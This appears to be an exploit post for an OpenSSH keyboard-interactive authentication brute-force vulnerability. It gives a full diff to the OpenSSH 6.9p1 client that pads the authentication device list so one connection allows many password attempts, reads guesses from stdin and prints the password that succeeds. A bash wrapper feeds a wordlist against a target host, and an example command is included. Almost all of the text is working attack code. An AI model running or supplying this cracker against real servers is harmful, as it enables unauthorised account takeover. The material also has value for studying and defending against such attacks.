OpenSSH keyboard-interactive authentication brute force vulnerability

                                                ---snip---
diff openssh-6.9p1/sshconnect2.c openssh-6.9p1-modified/sshconnect2.c
 83a84,85
 > char password[1024];
 >
 510c512,517
 < authctxt->success = 1; /* break out */
 ---
 > printf("==============================================\n");
 > printf("*** SUCCESS **********************************\n");
 > printf("*** PASSWORD: %s\n", password);
 > printf("==============================================\n");
 > exit(0);
 >
 1376a1384,1385
 > char *devicebuffer;
 > int i;
 1386a1396,1405
 > devicebuffer = calloc(1, 200000);
 > if (!devicebuffer) {
 > fatal("cannot allocate devicebuffer");
 > }
 >
 > for (i=0;i<200000-2;i+=2) {
 > memcpy(devicebuffer + i, "p,", 2);
 > }
 > devicebuffer[200000] = 0;
 >
 1393,1394c1412
 < packet_put_cstring(options.kbd_interactive_devices ?
 < options.kbd_interactive_devices : "");
 ---
 > packet_put_cstring(devicebuffer);
 1408c1426
 < char *name, *inst, *lang, *prompt, *response;
 ---
 > char *name, *inst, *lang, *prompt;
 1410c1428
 < int echo = 0;
 ---
 > char *pos;
 1425a1444
 >
 1430a1450
 >
 1443,1449c1463,1469
 < echo = packet_get_char();
 <
 < response = read_passphrase(prompt, echo ? RP_ECHO : 0);
 <
 < packet_put_cstring(response);
 < explicit_bzero(response, strlen(response));
 < free(response);
 ---
 > packet_get_char();
 > if (fgets(password, 1024, stdin) == NULL)
 > exit(0);
 > if ((pos=strchr(password, '\n')) != NULL)
 > *pos = '';
 > printf("%s\n", password);
 > packet_put_cstring(password);
---snip---

After applying the patch you can use this shell script to make
the password attack from a wordlist:

---snip---
#!/bin/bash
# run as:
# cat wordlist.txt | ./sshcracker.sh ssh-username ssh-target
#
while true
do
./ssh -l$1 $2
rc=$?; if [[ $rc == 0 ]]; then exit $rc; fi
echo Respawn due to login grace time...
done
---snip---
For example enter this command:

cat wordlist.txt | ./sshcracker.sh test 192.168.2.173